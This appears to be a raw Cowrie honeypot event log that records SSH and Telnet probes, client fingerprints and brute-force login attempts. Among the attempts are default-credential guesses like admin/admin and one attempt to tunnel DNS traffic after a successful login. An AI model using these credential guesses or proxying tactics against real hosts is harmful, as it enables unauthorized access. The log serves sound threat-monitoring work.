{"eventid":"cowrie.session.connect","src_ip":"89.144.211.139","src_port":57573,"dst_ip":"159.203.135.109","dst_port":22,"session":"f38e5d23dfae","protocol":"ssh","message":"New connection: 89.144.211.139:57573 (159.203.135.109:22) [session: f38e5d23dfae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:41:41.131194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:41:41.137849Z","src_ip":"89.144.211.139","session":"f38e5d23dfae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:41:41.270955Z","src_ip":"89.144.211.139","session":"f38e5d23dfae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123!@#","message":"login attempt [mysql/mysql123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:41:41.791647Z","src_ip":"89.144.211.139","session":"f38e5d23dfae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:41:42.936131Z","src_ip":"89.144.211.139","session":"f38e5d23dfae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.192.56.148","src_port":33593,"dst_ip":"10.17.0.5","dst_port":23,"session":"de43c43fac47","protocol":"telnet","message":"New connection: 115.192.56.148:33593 (10.17.0.5:23) [session: de43c43fac47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:42:07.326186Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.27.76.181","src_port":54966,"dst_ip":"10.17.0.5","dst_port":23,"session":"c362a832d870","protocol":"telnet","message":"New connection: 198.27.76.181:54966 (10.17.0.5:23) [session: c362a832d870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:42:17.662461Z"}
{"eventid":"cowrie.session.closed","duration":12.790714979171753,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:42:20.116773Z","src_ip":"115.192.56.148","session":"de43c43fac47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.211.139","src_port":57574,"dst_ip":"159.203.135.109","dst_port":22,"session":"02884a116585","protocol":"ssh","message":"New connection: 89.144.211.139:57574 (159.203.135.109:22) [session: 02884a116585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:42:40.345494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:42:40.355777Z","src_ip":"89.144.211.139","session":"02884a116585","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:42:40.490210Z","src_ip":"89.144.211.139","session":"02884a116585","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user123","message":"login attempt [ec2-user/ec2-user123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:42:41.031883Z","src_ip":"89.144.211.139","session":"02884a116585","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:42:42.173642Z","src_ip":"89.144.211.139","session":"02884a116585","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.58174729347229,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:42:51.244101Z","src_ip":"198.27.76.181","session":"c362a832d870","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":6396,"dst_ip":"10.17.0.5","dst_port":22,"session":"0cfd3af5dfc8","protocol":"ssh","message":"New connection: 87.251.64.176:6396 (10.17.0.5:22) [session: 0cfd3af5dfc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:43:00.917044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:43:00.921317Z","src_ip":"87.251.64.176","session":"0cfd3af5dfc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:43:01.017335Z","src_ip":"87.251.64.176","session":"0cfd3af5dfc8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:43:01.310725Z","src_ip":"87.251.64.176","session":"0cfd3af5dfc8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:43:01.409629Z","session":"0cfd3af5dfc8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:43:01.510468Z","src_ip":"87.251.64.176","session":"0cfd3af5dfc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:43:01.613138Z","src_ip":"87.251.64.176","session":"0cfd3af5dfc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":59066,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c004a3cc04a","protocol":"ssh","message":"New connection: 172.237.20.62:59066 (159.203.135.109:22) [session: 8c004a3cc04a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:43:14.349123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:43:14.353740Z","src_ip":"172.237.20.62","session":"8c004a3cc04a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:43:14.514724Z","src_ip":"172.237.20.62","session":"8c004a3cc04a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:43:14.997737Z","src_ip":"172.237.20.62","session":"8c004a3cc04a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.4.192.105","src_port":43506,"dst_ip":"159.203.135.109","dst_port":23,"session":"4747b4652805","protocol":"telnet","message":"New connection: 177.4.192.105:43506 (159.203.135.109:23) [session: 4747b4652805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:43:25.000113Z"}
{"eventid":"cowrie.session.closed","duration":12.888627290725708,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:43:37.888597Z","src_ip":"177.4.192.105","session":"4747b4652805","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.211.139","src_port":57575,"dst_ip":"159.203.135.109","dst_port":22,"session":"875f814e2153","protocol":"ssh","message":"New connection: 89.144.211.139:57575 (159.203.135.109:22) [session: 875f814e2153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:43:40.550536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:43:40.555016Z","src_ip":"89.144.211.139","session":"875f814e2153","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:43:40.690223Z","src_ip":"89.144.211.139","session":"875f814e2153","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz2wsx_","message":"login attempt [ubuntu/1qaz2wsx_] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:43:41.238966Z","src_ip":"89.144.211.139","session":"875f814e2153","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:43:42.367635Z","src_ip":"89.144.211.139","session":"875f814e2153","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":32866,"dst_ip":"10.17.0.5","dst_port":22,"session":"afef50eec624","protocol":"ssh","message":"New connection: 80.94.92.184:32866 (10.17.0.5:22) [session: afef50eec624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:43:55.272150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:43:55.311048Z","src_ip":"80.94.92.184","session":"afef50eec624","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:43:55.468458Z","src_ip":"80.94.92.184","session":"afef50eec624","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solv","message":"login attempt [ubuntu/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:43:56.254220Z","src_ip":"80.94.92.184","session":"afef50eec624","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:43:57.537253Z","src_ip":"80.94.92.184","session":"afef50eec624","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.211.139","src_port":57576,"dst_ip":"159.203.135.109","dst_port":22,"session":"42066b8b62a2","protocol":"ssh","message":"New connection: 89.144.211.139:57576 (159.203.135.109:22) [session: 42066b8b62a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:44:44.053118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:44:44.058126Z","src_ip":"89.144.211.139","session":"42066b8b62a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:44:44.191225Z","src_ip":"89.144.211.139","session":"42066b8b62a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arma3server","password":"arma","message":"login attempt [arma3server/arma] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:44:44.741505Z","src_ip":"89.144.211.139","session":"42066b8b62a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:44:45.881142Z","src_ip":"89.144.211.139","session":"42066b8b62a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.27.76.181","src_port":58326,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d84ac177189","protocol":"telnet","message":"New connection: 198.27.76.181:58326 (10.17.0.5:23) [session: 8d84ac177189]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:45:09.079007Z"}
{"eventid":"cowrie.session.closed","duration":32.8742151260376,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:45:41.953114Z","src_ip":"198.27.76.181","session":"8d84ac177189","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.211.139","src_port":57577,"dst_ip":"159.203.135.109","dst_port":22,"session":"2262f76d3b7a","protocol":"ssh","message":"New connection: 89.144.211.139:57577 (159.203.135.109:22) [session: 2262f76d3b7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:45:49.110348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:45:49.114424Z","src_ip":"89.144.211.139","session":"2262f76d3b7a","protocol":"ssh"}
